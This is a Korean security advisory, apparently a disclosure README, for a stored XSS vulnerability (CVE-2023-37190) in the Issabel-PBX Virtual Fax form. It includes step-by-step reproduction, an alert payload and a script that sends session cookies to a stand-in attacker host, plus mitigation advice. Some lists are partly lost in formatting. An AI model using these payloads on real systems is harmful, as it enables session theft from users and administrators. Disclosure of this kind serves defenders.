
Issabel-PBX 버전 4.0.0-6에 저장형 크로스 사이트 스크립팅(XSS) 취약점이 존재합니다. 이 애플리케이션은 사용자가 제공한 입력을 데이터베이스에 저장하기 전에 적절히 삭제(sanitize)하고 인코딩하지 못하며, 이후 웹 인터페이스에서 이를 렌더링합니다.
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2023-37190 |
| 취약점 | 저장형 크로스 사이트 스크립팅(XSS) |
| 영향받는 제품 | Issabel-PBX |
| 영향받는 버전 | 4.0.0-6 |
| 심각도 | 중간 (CVSS v3.1 점수: 5.4) |
| 발견자 | Sahil Ojha |
| 공개 날짜 | 2023년 7월 7일 |
| 공급업체 | Issabel |
| 소스 코드 | IssabelFoundation/issabelPBX |
| 테스트 환경 | Windows |
Issabel-PBX 버전 4.0.0-6에는 저장형 크로스 사이트 스크립팅(XSS) 취약점이 존재합니다. 이 애플리케이션은 사용자가 입력한 값을 데이터베이스에 저장하기 전에 적절히 삭제(sanitize) 및 인코딩하지 못하며, 이후 웹 인터페이스에서 이를 렌더링할 때도 마찬가지입니다.
이 취약점은 Virtual Fax(가상 팩스) 모듈, 특히 "New Virtual Fax" 생성 양식에 존재합니다. Virtual Fax Name 및 Caller ID Name이라는 두 입력 매개변수는 적절한 입력 검증이나 출력 인코딩을 거치지 않습니다. 이로 인해 낮은 권한의 인증된 공격자가 악성 JavaScript 페이로드를 애플리케이션 내에 주입하여 영구적으로 저장할 수 있습니다.
저장된 악성 스크립트는 해당 페이지를 방문하는 모든 사용자(관리자 포함)의 브라우저에서 공격자의 추가적인 상호작용 없이 자동으로 실행됩니다.
이 취약점을 성공적으로 악용한 공격자는 다음을 수행할 수 있습니다:
페이로드가 저장형(영구적)이기 때문에, 제거되기 전까지 취약한 페이지를 방문하는 모든 사용자에게 영향을 미칩니다. 이로 인해 반사형 XSS보다 더 심각합니다.
Virtual Fax NameCaller ID Name1단계: 유효한 자격 증명을 사용하여 Issabel-PBX 웹 애플리케이션에 로그인합니다.
2단계: Fax → Virtual Fax → New Virtual Fax로 이동합니다.
다음 XSS 페이로드를 Virtual Fax Name 및/또는 Caller ID Name 필드에 주입합니다:
<script>alert('XSS-CVE-2023-37190')</script>
세션 쿠키 탈취를 입증하는 더 효과적인 개념 증명 코드는 다음과 같습니다 (실제 공격에서는 탈취된 쿠키가 전송 중 노출되는 것을 방지하기 위해 HTTPS를 사용합니다):
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
주입된 페이로드가 포함된 작성 양식은 아래 스크린샷과 유사해야 합니다:

3단계: Save 버튼을 클릭하여 양식을 제출합니다. 이제 페이로드가 애플리케이션 데이터베이스에 영구적으로 저장됩니다.
4단계: Virtual Fax 목록 페이지로 이동합니다 (또는 관리자와 같은 다른 사용자가 해당 페이지를 방문하게 합니다). 저장된 스크립트는 아래와 같이 방문자의 브라우저에서 자동으로 실행됩니다:

Issabel-PBX 사용자와 관리자는 다음 조치를 적용할 것을 강력히 권장합니다:
<, >, ", ', &)가 포함된 입력은 거부하거나 삭제합니다.Content-Security-Policy HTTP 헤더를 구현하여 스크립트가 실행될 수 있는 소스를 제한함으로써 XSS 취약점의 영향을 줄입니다.Sahil Ojha
보안 연구원
GitHub: @sahiloj
고지 사항: 이 저장소는 교육 및 책임 있는 공개 목적으로만 제공됩니다. 여기에 제공된 정보는 시스템 소유자의 명시적인 서면 허가 없이 시스템을 공격하는 데 사용되어서는 안 됩니다. 작성자는 이 정보의 오용에 대해 책임을 지지 않습니다.
| 지표 | 값 |
|---|
| 기본 점수 | 5.4 (중간) |
| 공격 경로 | 네트워크 |
| 공격 복잡성 | 낮음 |
| 필요 권한 | 낮음 |
| 사용자 상호작용 | 필요 |
| 범위 | 변경됨 |
| 기밀성 | 낮음 |
| 무결성 | 낮음 |
| 가용성 | 없음 |